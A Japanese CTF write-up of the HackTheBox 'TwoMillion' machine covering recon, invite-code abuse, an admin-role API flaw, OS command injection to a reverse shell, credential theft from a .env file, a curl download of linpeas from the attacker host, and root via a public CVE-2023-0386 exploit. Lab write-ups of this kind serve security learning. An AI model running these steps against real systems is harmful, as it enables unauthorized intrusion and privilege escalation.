【HackTheBox】TwoMillion：Writeup

# 概要

HackTheBox「TwoMillion 」マシンのWriteupです。

https://app.hackthebox.com/machines/TwoMillion

# User Flag

ポートスキャンを実行します。

```
$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.221 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open     http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.9p1|
|80|http|nginx|

ホスト名が分かったので、`/etc/hosts`に追加します。

```
10.10.11.221    2million.htb
```

Webサイトにアクセスできました。

![home page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b6eab3ec-432f-72d0-0dbb-ab1bceb49d50.png)

ディレクトリスキャンを行います。

```
$ dirsearch -u http://2million.htb/ -o dirsearch_result
[00:27:25] 301 -  162B  - /js  ->  http://2million.htb/js/
[00:27:43] 200 -    2KB - /404
[00:28:12] 401 -    0B  - /api
[00:28:13] 401 -    0B  - /api/v1
[00:28:15] 301 -  162B  - /assets  ->  http://2million.htb/assets/
[00:28:15] 403 -  548B  - /assets/
[00:28:32] 403 -  548B  - /controllers/
[00:28:34] 301 -  162B  - /css  ->  http://2million.htb/css/
[00:28:44] 301 -  162B  - /fonts  ->  http://2million.htb/fonts/
[00:28:49] 302 -    0B  - /home  ->  /
[00:28:51] 301 -  162B  - /images  ->  http://2million.htb/images/
[00:28:51] 403 -  548B  - /images/
[00:28:56] 403 -  548B  - /js/
[00:29:00] 200 -    4KB - /login
[00:29:01] 302 -    0B  - /logout  ->  /
[00:29:26] 200 -    4KB - /register
[00:29:52] 301 -  162B  - /views  ->  http://2million.htb/views/
```

`/register`では`Invite code`が必要になります。

![register.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/56ca62c6-6db4-c73d-47c3-e71026919e98.png)

`/invite`も見つけました。

![invite.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5f2253c4-e539-0566-9304-6b6fc879dc2b.png)

`/invite`のソースコードを見ると`/js/inviteapi.min.js`を読み込んでいると分かりました。
また、コードの認証に成功すると`/register`へリダイレクトすると分かります。

![invite code.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a50a94ab-defb-b419-71ba-f1dd3cb317b1.png)

`/js/inviteapi.min.js`は難読化されているので解析します。

![invite js code.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/074a9f25-b7b9-d0a9-05bb-6f393e49ff07.png)

`verifyInviteCode()`と`makeInviteCode()`が定義されていると分かりました。

```/js/inviteapi.min.js
// 関数 'verifyInviteCode' を定義
function verifyInviteCode(code) {
    var formData = {"code": code}; // 'code' を含むオブジェクトを作成
    $.ajax({
        type: "POST", // リクエストタイプは POST
        dataType: "json", // データタイプは JSON
        data: formData, // 送信するデータは 'formData'
        url: '/api/v1/invite/verify', // リクエストを送る URL
        success: function(response) {
            console.log(response); // 成功時のレスポンスをコンソールに出力
        },
        error: function(response) {
            console.log(response); // エラー時のレスポンスをコンソールに出力
        }
    });
}

// 関数 'makeInviteCode' を定義
function makeInviteCode() {
    $.ajax({
        type: "POST", // リクエストタイプは POST
        dataType: "json", // データタイプは JSON
        url: '/api/v1/invite/how/to/generate', // リクエストを送る URL
        success: function(response) {
            console.log(response); // 成功時のレスポンスをコンソールに出力
        },
        error: function(response) {
            console.log(response); // エラー時のレスポンスをコンソールに出力
        }
    });
}
```

`/api/v1/invite/how/to/generate`へリクエストを送信してみると`ROT13`で暗号化されたレスポンスが返ってきました。

```
$ curl -X POST -H "Content-Type: application/json" -d "{}" http://2million.htb/api/v1/invite/how/to/generate 
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}
```

メッセージを解読すると招待コードを生成するには`/api/v1/invite/generate`にPOSTリクエストを送信する必要があると分かりました。

![rot13 encrypt.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ab376522-4546-d929-a929-e31170260ce4.png)

`/api/v1/invite/generate`へPOSTリクエストを送信するとエンコードされた招待コードが返ってきました。

```
$ curl -X POST -H "Content-Type: application/json" -d "{}" http://2million.htb/api/v1/invite/generate       
{"0":200,"success":1,"data":{"code":"Qzc4QjMtT0FNTEYtMFhDTVktVzJYWE8=","format":"encoded"}}
```

`base64`でデコードすると招待コードが分かりました。

```
$ echo -n "Qzc4QjMtT0FNTEYtMFhDTVktVzJYWE8=" | base64 -d
C78B3-OAMLF-0XCMY-W2XXO
```

`/invite`で招待コードを入力し、アカウント作成後ログインに成功しました。

![login success.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/268da1f2-f6b5-7c29-fd6a-2b673163a7ad.png)

`Labs`->`Access`へアクセスするとVPNファイルのダウンロードや生成を行えるページがありました。

![access.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3ba51c7a-3830-565b-026c-2f8946ac472a.png)

通信先は`/api/v1/user/vpn/generate`と`/api/v1/user/vpn/regenerate`だと分かりました。

![vpn generate path.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e7526298-deb7-7e55-91d4-6b8ceab25ba3.png)

パスが`/api/v1/user/~`となっていることから`/api/v1/admin/~`もある可能性があります。
`/api/v1`へリクエストを送信するとエンドポイントの一覧を取得できました。

![api all path.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/43b02a50-a12d-d139-a69c-a57cbf8c0db8.png)

`PUT /api/v1/admin/settings/update`へのリクエストで現在の一般アカウントをadminアカウントへ変更します。

![admin update.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a65a2c16-4de1-67a5-8475-d7a5ba961515.png)

`/api/v1/admin/vpn/generate`でVPNファイルを生成してるということは裏でVPNファイル生成コマンドを実行してそうなのでOSコマンドインジェクションができそうです。

試しにターゲットマシンからKaliへpingを送信すると通信が成功しました。

![ping.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f42693ef-2986-2137-77fc-00ce01fd8be1.png)

```
$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
06:07:21.957914 IP 2million.htb > 10.10.14.14: ICMP echo request, id 2, seq 64, length 64
06:07:21.957929 IP 10.10.14.14 > 2million.htb: ICMP echo reply, id 2, seq 64, length 64
```

Netcatでリッスンします。

```
$ nc -lnvp 1234                                           
listening on [any] 1234 ...
```

PHPのリバースシェルペイロードを送信してシェルを取得します。

![rev shell payload.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e8740d8c-bd21-55d0-ff4a-f6e9103bb094.png)

シェルを取得できました。

```
whoami
www-data
```

`user.txt`へアクセスするには`admin`アカウントへ昇格する必要があります。

```
ls -l /home/admin
total 4
-rw-r----- 1 root admin 33 Jun 29 18:37 user.txt
cat /home/admin/user.txt
cat: /home/admin/user.txt: Permission denied
```

`/var/www/html/.env`からadminの認証情報を取得できました。

```
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
```

adminアカウントへログインします。

```
su admin
Password: SuperDuperPass123
whoami
admin
```

ユーザーフラグを取得できました。

```
cat /home/admin/user.txt
c090e89971bc1cb173d6ace58ede2558
```

# Root Flag

adminアカウントでSSH接続をします。

```
$ ssh admin@10.10.11.221
admin@2million:~$
```

`linpeas`をローカルマシンからダウンロードし実行します。

```
$ curl http://10.10.14.14/linpeas.sh -o /tmp/linpeas.sh
$ ./linpeas.sh
```

メールファイルを発見しました。

```
╔══════════╣ Mails (limit 50)
      271      4 -rw-r--r--   1 admin    admin         540 Jun  2  2023 /var/mail/admin                              
      271      4 -rw-r--r--   1 admin    admin         540 Jun  2  2023 /var/spool/mail/admin
```

メールの中身を閲覧すると`OverlayFS / FUSE`で脆弱性があるみたいです。

```
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather
```

検索すると`CVE-2023-0386`の脆弱性がヒットしました。

https://www.vicarius.io/vsociety/posts/cve-2023-0386-a-linux-kernel-bug-in-overlayfs

こちらのPoCを使用します。

https://github.com/sxlmnwb/CVE-2023-0386

一度KaliへPoCをダウンロードしKaliからターゲットマシンへダウンロードします。
ダウンロード後コンパイルします。

```
make all
```

ターゲットマシン側でターミナルを2つ開いて、まず片方で下記コマンドを実行します。

```
./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0
```

その後、もう一方のターミナルで下記コマンドを実行するとroot権限を取得出来ました。

```
$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 Jun 30 10:56 .
drwxrwxr-x 6 root   root     4096 Jun 30 10:56 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@2million:/tmp/10.10.14.14# whoami
root
```

`/root/root.txt`からフラグを入手します。

```
# cat /root/root.txt
de8f30755580eb5f527086682fb83b30
```